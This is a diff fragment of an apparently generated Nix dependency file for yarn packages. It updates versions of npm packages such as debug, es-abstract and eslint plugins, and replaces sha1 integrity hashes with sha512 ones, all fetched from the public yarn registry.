-        sha512 = "pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==";
+        name = "debug___debug_4.4.1.tgz";
+        url = "https://registry.yarnpkg.com/debug/-/debug-4.4.1.tgz";
+        sha512 = "KcKCqiftBJcZr++7ykoDIEwSa3XWowTfNPo92BYxjXiyYEVrUQh2aLyhxBCwww+heortUFxEJYcRzosstTEBYQ==";
       };
     }
     {
@@ -821,15 +949,15 @@ rec {
       path = fetchurl {
         name = "decamelize___decamelize_1.2.0.tgz";
         url = "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz";
-        sha1 = "9lNNFRSCabIDUue+4m9QH5oZEpA=";
+        sha512 = "z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==";
       };
     }
     {
-      name = "decode_uri_component___decode_uri_component_0.2.0.tgz";
+      name = "decode_uri_component___decode_uri_component_0.2.2.tgz";
       path = fetchurl {
-        name = "decode_uri_component___decode_uri_component_0.2.0.tgz";
-        url = "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.0.tgz";
-        sha1 = "6zkTMzRYd1y4TNGh+uBiEGu4dUU=";
+        name = "decode_uri_component___decode_uri_component_0.2.2.tgz";
+        url = "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.2.tgz";
+        sha512 = "FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ==";
       };
     }
     {
@@ -837,31 +965,39 @@ rec {
       path = fetchurl {
         name = "dedent___dedent_0.7.0.tgz";
         url = "https://registry.yarnpkg.com/dedent/-/dedent-0.7.0.tgz";
-        sha1 = "JJXduvbrh0q7Dhvp3yLS5aVEMmw=";
+        sha512 = "Q6fKUPqnAHAyhiUgFU7BUzLiv0kd8saH9al7tnu5Q/okj6dnupxyTgFIBjVzJATdfIAm9NAsvXNzjaKa+bxVyA==";
       };
     }
     {
-      name = "deep_equal___deep_equal_1.1.1.tgz";
+      name = "deep_equal___deep_equal_1.1.2.tgz";
       path = fetchurl {
-        name = "deep_equal___deep_equal_1.1.1.tgz";
-        url = "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.1.tgz";
-        sha512 = "yd9c5AdiqVcR+JjcwUQb9DkhJc8ngNr0MahEBGvDiJw8puWab2yZlh+nkasOnZP+EGTAP6rRp2JzJhJZzvNF8g==";
+        name = "deep_equal___deep_equal_1.1.2.tgz";
+        url = "https://registry.yarnpkg.com/deep-equal/-/deep-equal-1.1.2.tgz";
+        sha512 = "5tdhKF6DbU7iIzrIOa1AOUt39ZRm13cmL1cGEh//aqR8x9+tNfbywRf0n5FD/18OKMdo7DNEtrX2t22ZAkI+eg==";
       };
     }
     {
-      name = "deep_is___deep_is_0.1.3.tgz";
+      name = "deep_is___deep_is_0.1.4.tgz";
       path = fetchurl {
-        name = "deep_is___deep_is_0.1.3.tgz";
-        url = "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz";
-        sha1 = "s2nW+128E+7PUk+RsHD+7cNXzzQ=";
+        name = "deep_is___deep_is_0.1.4.tgz";
+        url = "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.4.tgz";
+        sha512 = "oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==";
       };
     }
     {
-      name = "define_properties___define_properties_1.1.3.tgz";
+      name = "define_data_property___define_data_property_1.1.4.tgz";
       path = fetchurl {
-        name = "define_properties___define_properties_1.1.3.tgz";
-        url = "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz";
-        sha512 = "3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==";
+        name = "define_data_property___define_data_property_1.1.4.tgz";
+        url = "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz";
+        sha512 = "rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==";
+      };
+    }
+    {
+      name = "define_properties___define_properties_1.2.1.tgz";
+      path = fetchurl {
+        name = "define_properties___define_properties_1.2.1.tgz";
+        url = "https://registry.yarnpkg.com/define-properties/-/define-properties-1.2.1.tgz";
+        sha512 = "8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==";
       };
     }
     {
@@ -869,7 +1005,7 @@ rec {
       path = fetchurl {
         name = "define_property___define_property_0.2.5.tgz";
         url = "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz";
-        sha1 = "w1se+RjsPJkPmlvFe+BKrOxcgRY=";
+        sha512 = "Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==";
       };
     }
     {
@@ -877,7 +1013,7 @@ rec {
       path = fetchurl {
         name = "define_property___define_property_1.0.0.tgz";
         url = "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz";
-        sha1 = "dp66rz9KY6rTr56NMEybvnm/sOY=";
+        sha512 = "cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==";
       };
     }
     {
@@ -893,7 +1029,7 @@ rec {
       path = fetchurl {
         name = "del___del_3.0.0.tgz";
         url = "https://registry.yarnpkg.com/del/-/del-3.0.0.tgz";
-        sha1 = "U+z2mf/LyzljdpGrE7rxYIGXZuU=";
+        sha512 = "7yjqSoVSlJzA4t/VUwazuEagGeANEKB3f/aNI//06pfKgwoCb7f6Q1gETN1sZzYaj6chTQ0AhIwDiPdfOjko4A==";
       };
     }
     {
@@ -909,15 +1045,7 @@ rec {
       path = fetchurl {
         name = "docopt___docopt_0.6.2.tgz";
         url = "https://registry.yarnpkg.com/docopt/-/docopt-0.6.2.tgz";
-        sha1 = "so6eIiDaXsSffqW7JKR3h0Be6xE=";
-      };
-    }
-    {
-      name = "doctrine___doctrine_1.5.0.tgz";
-      path = fetchurl {
-        name = "doctrine___doctrine_1.5.0.tgz";
-        url = "https://registry.yarnpkg.com/doctrine/-/doctrine-1.5.0.tgz";
-        sha1 = "N53Ocw9hZvds76TmcHoVmwLFpvo=";
+        sha512 = "NqTbaYeE4gA/wU1hdKFdU+AFahpDOpgGLzHP42k6H6DKExJd0A55KEVWYhL9FEmHmgeLvEU2vuKXDuU+4yToOw==";
       };
     }
     {
@@ -936,12 +1064,20 @@ rec {
         sha512 = "yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==";
       };
     }
+    {
+      name = "dunder_proto___dunder_proto_1.0.1.tgz";
+      path = fetchurl {
+        name = "dunder_proto___dunder_proto_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz";
+        sha512 = "KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==";
+      };
+    }
     {
       name = "elegant_spinner___elegant_spinner_1.0.1.tgz";
       path = fetchurl {
         name = "elegant_spinner___elegant_spinner_1.0.1.tgz";
         url = "https://registry.yarnpkg.com/elegant-spinner/-/elegant-spinner-1.0.1.tgz";
-        sha1 = "2wQ1IcldfjA/2PNFvtwzSc+wcp4=";
+        sha512 = "B+ZM+RXvRqQaAmkMlO/oSe5nMUOaUnyfGYCEHoR8wrXsZR2mA0XVibsxV1bvTwxdRWah1PkQqso2EzhILGHtEQ==";
       };
     }
     {
@@ -953,11 +1089,19 @@ rec {
       };
     }
     {
-      name = "end_of_stream___end_of_stream_1.4.4.tgz";
+      name = "emoji_regex___emoji_regex_9.2.2.tgz";
       path = fetchurl {
-        name = "end_of_stream___end_of_stream_1.4.4.tgz";
-        url = "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz";
-        sha512 = "+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==";
+        name = "emoji_regex___emoji_regex_9.2.2.tgz";
+        url = "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-9.2.2.tgz";
+        sha512 = "L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==";
+      };
+    }
+    {
+      name = "end_of_stream___end_of_stream_1.4.5.tgz";
+      path = fetchurl {
+        name = "end_of_stream___end_of_stream_1.4.5.tgz";
+        url = "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.5.tgz";
+        sha512 = "ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==";
       };
     }
     {
@@ -969,19 +1113,67 @@ rec {
       };
     }
     {
-      name = "es_abstract___es_abstract_1.17.5.tgz";
+      name = "es_abstract___es_abstract_1.24.0.tgz";
       path = fetchurl {
-        name = "es_abstract___es_abstract_1.17.5.tgz";
-        url = "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.17.5.tgz";
-        sha512 = "BR9auzDbySxOcfog0tLECW8l28eRGpDpU3Dm3Hp4q/N+VtLTmyj4EUN088XZWQDW/hzj6sYRDXeOFsaAODKvpg==";
+        name = "es_abstract___es_abstract_1.24.0.tgz";
+        url = "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.24.0.tgz";
+        sha512 = "WSzPgsdLtTcQwm4CROfS5ju2Wa1QQcVeT37jFjYzdFz1r9ahadC8B8/a4qxJxM+09F18iumCdRmlr96ZYkQvEg==";
       };
     }
     {
-      name = "es_to_primitive___es_to_primitive_1.2.1.tgz";
+      name = "es_define_property___es_define_property_1.0.1.tgz";
       path = fetchurl {
-        name = "es_to_primitive___es_to_primitive_1.2.1.tgz";
-        url = "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz";
-        sha512 = "QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==";
+        name = "es_define_property___es_define_property_1.0.1.tgz";
+        url = "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz";
+        sha512 = "e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==";
+      };
+    }
+    {
+      name = "es_errors___es_errors_1.3.0.tgz";
+      path = fetchurl {
+        name = "es_errors___es_errors_1.3.0.tgz";
+        url = "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz";
+        sha512 = "Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==";
+      };
+    }
+    {
+      name = "es_iterator_helpers___es_iterator_helpers_1.2.1.tgz";
+      path = fetchurl {
+        name = "es_iterator_helpers___es_iterator_helpers_1.2.1.tgz";
+        url = "https://registry.yarnpkg.com/es-iterator-helpers/-/es-iterator-helpers-1.2.1.tgz";
+        sha512 = "uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w==";
+      };
+    }
+    {
+      name = "es_object_atoms___es_object_atoms_1.1.1.tgz";
+      path = fetchurl {
+        name = "es_object_atoms___es_object_atoms_1.1.1.tgz";
+        url = "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz";
+        sha512 = "FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==";
+      };
+    }
+    {
+      name = "es_set_tostringtag___es_set_tostringtag_2.1.0.tgz";
+      path = fetchurl {
+        name = "es_set_tostringtag___es_set_tostringtag_2.1.0.tgz";
+        url = "https://registry.yarnpkg.com/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz";
+        sha512 = "j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==";
+      };
+    }
+    {
+      name = "es_shim_unscopables___es_shim_unscopables_1.1.0.tgz";
+      path = fetchurl {
+        name = "es_shim_unscopables___es_shim_unscopables_1.1.0.tgz";
+        url = "https://registry.yarnpkg.com/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz";
+        sha512 = "d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==";
+      };
+    }
+    {
+      name = "es_to_primitive___es_to_primitive_1.3.0.tgz";
+      path = fetchurl {
+        name = "es_to_primitive___es_to_primitive_1.3.0.tgz";
+        url = "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.3.0.tgz";
+        sha512 = "w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==";
       };
     }
     {
@@ -989,7 +1181,7 @@ rec {
       path = fetchurl {
         name = "escape_string_regexp___escape_string_regexp_1.0.5.tgz";
         url = "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz";
-        sha1 = "G2HAViGQqN/2rjuyzwIAyhMLhtQ=";
+        sha512 = "vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==";
       };
     }
     {
@@ -1025,19 +1217,19 @@ rec {
       };
     }
     {
-      name = "eslint_import_resolver_node___eslint_import_resolver_node_0.3.3.tgz";
+      name = "eslint_import_resolver_node___eslint_import_resolver_node_0.3.9.tgz";
       path = fetchurl {
-        name = "eslint_import_resolver_node___eslint_import_resolver_node_0.3.3.tgz";
-        url = "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.3.tgz";
-        sha512 = "b8crLDo0M5RSe5YG8Pu2DYBj71tSB6OvXkfzwbJU2w7y8P4/yo0MyF8jU26IEuEuHF2K5/gcAJE3LhQGqBBbVg==";
+        name = "eslint_import_resolver_node___eslint_import_resolver_node_0.3.9.tgz";
+        url = "https://registry.yarnpkg.com/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz";
+        sha512 = "WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==";
       };
     }
     {
-      name = "eslint_module_utils___eslint_module_utils_2.6.0.tgz";
+      name = "eslint_module_utils___eslint_module_utils_2.12.1.tgz";
       path = fetchurl {
-        name = "eslint_module_utils___eslint_module_utils_2.6.0.tgz";
-        url = "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.6.0.tgz";
-        sha512 = "6j9xxegbqe8/kZY8cYpcp0xhbK0EgJlg3g9mib3/miLaExuuwc3n5UEfSnU6hWMbT0FAYVvDbL9RrRgpUeQIvA==";
+        name = "eslint_module_utils___eslint_module_utils_2.12.1.tgz";
+        url = "https://registry.yarnpkg.com/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz";
+        sha512 = "L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==";
       };
     }
     {
@@ -1049,19 +1241,19 @@ rec {
       };
     }
     {
-      name = "eslint_plugin_import___eslint_plugin_import_2.20.2.tgz";
+      name = "eslint_plugin_import___eslint_plugin_import_2.32.0.tgz";
       path = fetchurl {
-        name = "eslint_plugin_import___eslint_plugin_import_2.20.2.tgz";
-        url = "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.20.2.tgz";
-        sha512 = "FObidqpXrR8OnCh4iNsxy+WACztJLXAHBO5hK79T1Hc77PgQZkyDGA5Ag9xAvRpglvLNxhH/zSmZ70/pZ31dHg==";
+        name = "eslint_plugin_import___eslint_plugin_import_2.32.0.tgz";
+        url = "https://registry.yarnpkg.com/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz";
+        sha512 = "whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==";
       };
     }
     {
-      name = "eslint_plugin_jsx_a11y___eslint_plugin_jsx_a11y_6.2.3.tgz";
+      name = "eslint_plugin_jsx_a11y___eslint_plugin_jsx_a11y_6.10.2.tgz";
       path = fetchurl {
-        name = "eslint_plugin_jsx_a11y___eslint_plugin_jsx_a11y_6.2.3.tgz";
-        url = "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.2.3.tgz";
-        sha512 = "CawzfGt9w83tyuVekn0GDPU9ytYtxyxyFZ3aSWROmnRRFQFT2BiPJd7jvRdzNDi6oLWaS2asMeYSNMjWTV4eNg==";
+        name = "eslint_plugin_jsx_a11y___eslint_plugin_jsx_a11y_6.10.2.tgz";
+        url = "https://registry.yarnpkg.com/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz";
+        sha512 = "scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==";
       };
     }
     {
@@ -1073,27 +1265,27 @@ rec {
       };
     }
     {
-      name = "eslint_plugin_promise___eslint_plugin_promise_4.2.1.tgz";
+      name = "eslint_plugin_promise___eslint_plugin_promise_4.3.1.tgz";
       path = fetchurl {
-        name = "eslint_plugin_promise___eslint_plugin_promise_4.2.1.tgz";
-        url = "https://registry.yarnpkg.com/eslint-plugin-promise/-/eslint-plugin-promise-4.2.1.tgz";
-        sha512 = "VoM09vT7bfA7D+upt+FjeBO5eHIJQBUWki1aPvB+vbNiHS3+oGIJGIeyBtKQTME6UPXXy3vV07OL1tHd3ANuDw==";
+        name = "eslint_plugin_promise___eslint_plugin_promise_4.3.1.tgz";
+        url = "https://registry.yarnpkg.com/eslint-plugin-promise/-/eslint-plugin-promise-4.3.1.tgz";
+        sha512 = "bY2sGqyptzFBDLh/GMbAxfdJC+b0f23ME63FOE4+Jao0oZ3E1LEwFtWJX/1pGMJLiTtrSSern2CRM/g+dfc0eQ==";
       };
     }
     {
-      name = "eslint_plugin_react___eslint_plugin_react_7.20.0.tgz";
+      name = "eslint_plugin_react___eslint_plugin_react_7.37.5.tgz";
       path = fetchurl {
-        name = "eslint_plugin_react___eslint_plugin_react_7.20.0.tgz";
-        url = "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.20.0.tgz";
-        sha512 = "rqe1abd0vxMjmbPngo4NaYxTcR3Y4Hrmc/jg4T+sYz63yqlmJRknpEQfmWY+eDWPuMmix6iUIK+mv0zExjeLgA==";
+        name = "eslint_plugin_react___eslint_plugin_react_7.37.5.tgz";
+        url = "https://registry.yarnpkg.com/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz";
+        sha512 = "Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==";
       };
     }
     {
-      name = "eslint_plugin_standard___eslint_plugin_standard_4.0.1.tgz";
+      name = "eslint_plugin_standard___eslint_plugin_standard_4.1.0.tgz";
       path = fetchurl {
-        name = "eslint_plugin_standard___eslint_plugin_standard_4.0.1.tgz";
-        url = "https://registry.yarnpkg.com/eslint-plugin-standard/-/eslint-plugin-standard-4.0.1.tgz";
-        sha512 = "v/KBnfyaOMPmZc/dmc6ozOdWqekGp7bBGq4jLAecEfPGmfKiWS4sA8sC0LqiV9w5qmXAtXVn4M3p1jSyhY85SQ==";
+        name = "eslint_plugin_standard___eslint_plugin_standard_4.1.0.tgz";
+        url = "https://registry.yarnpkg.com/eslint-plugin-standard/-/eslint-plugin-standard-4.1.0.tgz";
+        sha512 = "ZL7+QRixjTR6/528YNGyDotyffm5OQst/sGxKDwGb9Uqs4In5Egi4+jbobhqJoyoCM6/7v/1A5fhQ7ScMtDjaQ==";
       };
     }
     {
@@ -1121,11 +1313,11 @@ rec {
       };
     }
     {
-      name = "eslint_visitor_keys___eslint_visitor_keys_1.1.0.tgz";
+      name = "eslint_visitor_keys___eslint_visitor_keys_1.3.0.tgz";
       path = fetchurl {
-        name = "eslint_visitor_keys___eslint_visitor_keys_1.1.0.tgz";
-        url = "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz";
-        sha512 = "8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A==";
+        name = "eslint_visitor_keys___eslint_visitor_keys_1.3.0.tgz";
+        url = "https://registry.yarnpkg.com/eslint-visitor-keys/-/eslint-visitor-keys-1.3.0.tgz";
+        sha512 = "6J72N8UNa462wa/KFODt/PJ3IU60SDpC3QXC1Hjc1BXXpfL2C9R5+AU7jhe0F6GREqVMh4Juu+NY7xn+6dipUQ==";
       };
     }
     {
@@ -1169,19 +1361,19 @@ rec {
       };
     }
     {
-      name = "esquery___esquery_1.3.1.tgz";
+      name = "esquery___esquery_1.6.0.tgz";
       path = fetchurl {
-        name = "esquery___esquery_1.3.1.tgz";
-        url = "https://registry.yarnpkg.com/esquery/-/esquery-1.3.1.tgz";
-        sha512 = "olpvt9QG0vniUBZspVRN6lwB7hOZoTRtT+jzR+tS4ffYx2mzbw+z0XCOk44aaLYKApNX5nMm+E+P6o25ip/DHQ==";
+        name = "esquery___esquery_1.6.0.tgz";
+        url = "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz";
+        sha512 = "ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==";
       };
     }
     {
-      name = "esrecurse___esrecurse_4.2.1.tgz";
+      name = "esrecurse___esrecurse_4.3.0.tgz";
       path = fetchurl {
-        name = "esrecurse___esrecurse_4.2.1.tgz";
-        url = "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.2.1.tgz";
-        sha512 = "64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==";
+        name = "esrecurse___esrecurse_4.3.0.tgz";
+        url = "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz";
+        sha512 = "KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==";
       };
     }
     {
@@ -1193,11 +1385,11 @@ rec {
       };
     }
     {
-      name = "estraverse___estraverse_5.1.0.tgz";
+      name = "estraverse___estraverse_5.3.0.tgz";
       path = fetchurl {
-        name = "estraverse___estraverse_5.1.0.tgz";
-        url = "https://registry.yarnpkg.com/estraverse/-/estraverse-5.1.0.tgz";
-        sha512 = "FyohXK+R0vE+y1nHLoBM7ZTyqRpqAlhdZHCWIWEviFLiGB8b04H6bQs8G+XTthacvT8VuwvteiP7RJSxMs8UEw==";
+        name = "estraverse___estraverse_5.3.0.tgz";
+        url = "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz";
+        sha512 = "MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==";
       };
     }
     {
@@ -1213,7 +1405,7 @@ rec {
       path = fetchurl {
         name = "execa___execa_0.7.0.tgz";
         url = "https://registry.yarnpkg.com/execa/-/execa-0.7.0.tgz";
-        sha1 = "lEvs00zEHuMqY6n68nrVpl/Fl3c=";
+        sha512 = "RztN09XglpYI7aBBrJCPW95jEH7YF1UEPOoX9yDhUTPdp7mK+CQvnLTuD10BNXZ3byLTu2uehZ8EcKT/4CGiFw==";
       };
     }
     {
@@ -1229,7 +1421,7 @@ rec {
       path = fetchurl {
         name = "expand_brackets___expand_brackets_2.1.4.tgz";
         url = "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz";
-        sha1 = "t3c14xXOMPa27/D4OwQVGiJEliI=";
+        sha512 = "w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==";
       };
     }
     {
@@ -1237,7 +1429,7 @@ rec {
       path = fetchurl {
         name = "extend_shallow___extend_shallow_2.0.1.tgz";
         url = "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz";
-        sha1 = "Ua99YUrZqfYQ6huvu5idaxxWiQ8=";
+        sha512 = "zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==";
       };
     }
     {
@@ -1245,7 +1437,7 @@ rec {
       path = fetchurl {
         name = "extend_shallow___extend_shallow_3.0.2.tgz";
         url = "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz";
-        sha1 = "Jqcarwc7OfshJxcnRhMcJwQCjbg=";
+        sha512 = "BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==";
       };
     }
     {
@@ -1277,15 +1469,15 @@ rec {
       path = fetchurl {
         name = "fast_deep_equal___fast_deep_equal_1.1.0.tgz";
         url = "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-1.1.0.tgz";
-        sha1 = "wFNHeBfIa1HaqFPIHgWbcz0CNhQ=";
+        sha512 = "fueX787WZKCV0Is4/T2cyAdM4+x1S3MXXOAhavE1ys/W42SHAPacLTQhucja22QBYrfGw50M2sRiXPtTGv9Ymw==";
       };
     }
     {
-      name = "fast_deep_equal___fast_deep_equal_3.1.1.tgz";
+      name = "fast_deep_equal___fast_deep_equal_3.1.3.tgz";
       path = fetchurl {
-        name = "fast_deep_equal___fast_deep_equal_3.1.1.tgz";
-        url = "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz";
-        sha512 = "8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==";
+        name = "fast_deep_equal___fast_deep_equal_3.1.3.tgz";
+        url = "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz";
+        sha512 = "f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==";
       };
     }
     {
@@ -1301,7 +1493,7 @@ rec {
       path = fetchurl {
         name = "fast_levenshtein___fast_levenshtein_2.0.6.tgz";
         url = "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz";
-        sha1 = "PYpcZog6FqMMqGQ+hR8Zuqd5eRc=";
+        sha512 = "DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==";
       };
     }
     {
@@ -1309,7 +1501,7 @@ rec {
       path = fetchurl {
         name = "figures___figures_1.7.0.tgz";
         url = "https://registry.yarnpkg.com/figures/-/figures-1.7.0.tgz";
-        sha1 = "y+Hjr/zxzUS4DK3+0o3Hk6lwHS4=";
+        sha512 = "UxKlfCRuCBxSXU4C6t9scbDyWZ4VlaFFdojKtzJuSkuOBQ5CNFum+zZXFwHjo+CxBC1t6zlYPgHIgFjL8ggoEQ==";
       };
     }
     {
@@ -1317,7 +1509,7 @@ rec {
       path = fetchurl {
         name = "figures___figures_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/figures/-/figures-2.0.0.tgz";
-        sha1 = "OrGi0qYsi/tDGgyUy3l6L84nyWI=";
+        sha512 = "Oa2M9atig69ZkfwiApY8F2Yy+tzMbazyvqv21R0NsSC8floSOC09BbT1ITWAdoMGQvJ/aZnR1KMwdx9tvHnTNA==";
       };
     }
     {
@@ -1325,7 +1517,7 @@ rec {
       path = fetchurl {
         name = "file_entry_cache___file_entry_cache_2.0.0.tgz";
         url = "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-2.0.0.tgz";
-        sha1 = "w5KZDD5oR4PYOLjISkXYoEhFg2E=";
+        sha512 = "uXP/zGzxxFvFfcZGgBIwotm+Tdc55ddPAzF7iHshP4YGaXMww7rSF9peD9D1sui5ebONg5UobsZv+FfgEpGv/w==";
       };
     }
